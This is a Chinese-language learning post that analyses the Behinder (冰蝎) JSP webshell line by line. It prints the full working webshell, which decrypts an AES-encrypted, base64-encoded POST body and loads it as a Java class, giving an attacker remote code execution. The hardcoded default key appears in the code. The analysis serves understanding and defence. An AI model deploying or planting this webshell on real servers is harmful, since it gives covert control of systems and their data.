前言

只是分享一下对冰蝎webshell分析的一个学习过程,冰蝎webshell使用了加载字节码的方式执行恶意代码。


正文

首先打开webshell
这么一行实在不好看,先把他分行吧。

分完行之后,就很清晰明了了。

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}
}%>
<%if (request.getMethod().equals("POST"))
{String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}%>

导入了三个依赖,一个是标准库,两个估计用于加密。

然后定义了一个类U,继承自ClassLoader,盲猜是用加载字节码的方式来执行命令,后面实现了g公有函数,函数里调用了defineClass(这可是加载恶意类的关键)

接下来就是主函数的部分。首先判断请求方式是否为POST(它希望是)。定义了一个字符串k,是连接的密钥,注释中有详细说明。

接下来用putValue往session中存入一个键为u,值为密钥的键值对。也就是把密钥存入session的意思(putValue应该和setAttribute功能差不多,百度了一下,发现putValue从servlet版本上被setAttribute代替了)。

接着实例化了一个Cipher类。

javax.crypto.Cipher类是从jdk1.4就开始引入,所属jdk拓展包Java Cryptographic Extension(JCE)框架,该框架主要用于加密解密和密码功能

从它传入的参数得知,c是一个用于AES加密的工具。

(刚开始想跟进去分析Cipher类的代码,但一想,实在没必要,这属于此类的应用场景,那只需要去百度怎么用就好了。。。。给自己无语住了)

接下来执行算法的初始化,c.init(),使用密钥和一组算法参数初始化此密码算法。看一下官方文档,这些api。

opmode是常量。

看回源码这一行。

c.init(2,new SecretKeySpec(k.getBytes(),"AES"));

很明显,第一个参数,指定了密码的模式,第二个参数就是一个KEY类的实例,KEY类也很单纯,抛去各种方法,函数,也就是两个变量,一个是密钥,一个是算法名。

模式2是什么,虽然能猜到受控端肯定是解密模式,但是还是在里面看了一下。模式为decryption,解密。

最后一行才是主要部分。

new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);

嵌套了不少层,从里往外看。首先读取了post包的body部分的首行。

request.getReader().readLine()

然后,使用BASE64解码该行。

new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())

然后调用上面所说的密码工具对其进行AES解密(解密模式在init初始化时由2决定)。

c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))

实例化了一个U类,在构造函数中取得了一个ClassLoader作为父类,来给U调用父类的构造方法。

new U(this.getClass().getClassLoader())

然后调用它的g方法来执行defineClass,也就是加载字节码,参数是上面解密后的内容。然后newInstance实例化(define不会执行任何初始化代码,包括static和constructor)

new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance()

到这里就结束了。发送过去的payload形式应当是恶意类的字节码,并且经过AES加密之后再base64编码。


最后

大佬们,请多多留言指正和指导,谢谢大佬们啦。

[JAVA安全webshell]冰蝎jsp木马分析相关推荐

  1. WebShell --冰蝎

    文章目录 一.介绍 二.下载安装 三.使用 四.缺点 本文章仅作于研究学习,禁止用于非法用途! 一.介绍   Webshell管理工具,动态二进制加密网站客户端.流量动态加密,攻击特征安全设备(WAF ...

  2. 利用动态二进制加密实现新型一句话木马之Java篇(转) 冰蝎

    概述 本系列文章重写了java..net.php三个版本的一句话木马,可以解析并执行客户端传递过来的加密二进制流,并实现了相应的客户端工具.从而一劳永逸的绕过WAF或者其他网络防火墙的检测. 本来是想 ...

  3. java webshell jsp 木马攻防 简介

    目录 基础知识 JSP标签 JSP中的字符串混淆方式 类反射 类加载 对命令执行JSP一句话免杀 原型 类反射绕过 寻找其他类 对于冰蝎JSP一句话的免杀 免杀D盾 免杀百度scanner 总结 防范 ...

  4. 冰蝎加密 WebShell 过杀软

    用Web系统语言(如:ASP.PHP.JSP等)编写的WebShell,WebShell上传服务器后当成页面被攻击者访问,常当做后门. WebShell危害  做后门: 文件.数据库操作: 修改Web ...

  5. 冰蝎shell_冰蝎动态二进制加密WebShell特征分析

    概述 冰蝎一款新型加密网站管理客户端,在实际的渗透测试过程中有非常不错的效果,能绕过目前市场上的大部分WAF.探针设备.本文将通过在虚拟环境中使用冰蝎,通过wireshark抓取冰蝎通信流量,结合平时 ...

  6. 冰蝎3 冰蝎2 behinder流量分析 流量解密

    好多没找全,明天再找吧好累 冰蝎3 AES密钥为连接密码32位md5值的前16位,默认连接密码rebeyond. webshell: php <?php @error_reporting(0); ...

  7. Misc_冰蝎流量分析

    01.冰蝎流量判断 在流量包中出现shell.php,多半是有关shell的题目,进行http分析可以看见 Behinder,可以知道是冰蝎流量 02.冰蝎shell分析 目前大部分的shell工具都 ...

  8. openssl 版本区别_冰蝎的前世今生:3.0新版本下的一些防护思考

    微信又改版了,为了我们能一直相见 你的加星和在看对我们非常重要 点击"长亭安全课堂"--主页右上角--设为星标? 期待与你的每次见面- 冰蝎(Behinder)是国内黑客圈较火的一 ...

  9. 渗透测试-流量加密之冰蝎蚁剑

    文章目录 前言 冰蝎 PHP冰蝎马 通信数据包 冰蝎初体验 冰蝎攻与防 蚁剑 蚁剑的安装 蚁剑初体验 蚁剑编码器 蚁剑攻与防 总结 前言 一句话木马是一般是指一段短小精悍的恶意代码,这段代码可以用作一 ...

最新文章

  1. python+unittest+excel接口自动化_Python+requests+unittest+excel实现接口自动化测试框架
  2. MyBatis 实践 -配置
  3. UVA11991第k次出现的v的下标
  4. LINUX(Cumulus Linux白盒交换机)开发基础到提高[1]-Cumulus Linux简介
  5. Sicily 1817 校歌手大奖赛
  6. php设置超链接,怎么给一个PHP密码访问页面加超链接
  7. android点击通知栏之后消失,为什么noftifications出现在android通知栏中一段时间​​然后消失...
  8. Eclipse:引用一个项目作为库(图文教程)
  9. 数据科学 IPython 笔记本 8.13 自定义刻度
  10. 408数据结构:1.顺序表的定义
  11. 写出更易懂的代码(一)
  12. 三维散点图加colorbar
  13. linux数学软件,使用这些Linux应用来征服你的数学学习
  14. Linux —— 软件安装
  15. c语言实验报告指针数组,C语言实验报告-数组与指针.doc
  16. ubutnu下panel消失
  17. lightdm 循环登录问题
  18. oracle监听_保存在,oracle 监听 lsnrctl 命令 (推荐)
  19. 一步一步构建手机WebApp开发——环境搭建
  20. 番外篇:STM32之GPIO口速率配置究竟代表什么

热门文章

  1. flink类加载器原理与隔离(flink jar包冲突)
  2. AB-PLC之间通讯
  3. [论文阅读] Facial Expression Recognition Using Residual Masking Network
  4. Linux 系统中成功恢复已删除的文件
  5. 傅里叶级数 三角形式 到 复数形式
  6. 中石油大学22春季《大学英语(四)#》第一阶段在线作业
  7. 测试人员的KPI考核指标
  8. SemanticKITTI点云标注工具
  9. 路由器设备升级SNMP日志
  10. uniapp生成android并调用第三方sdk的拍照进行身份证识别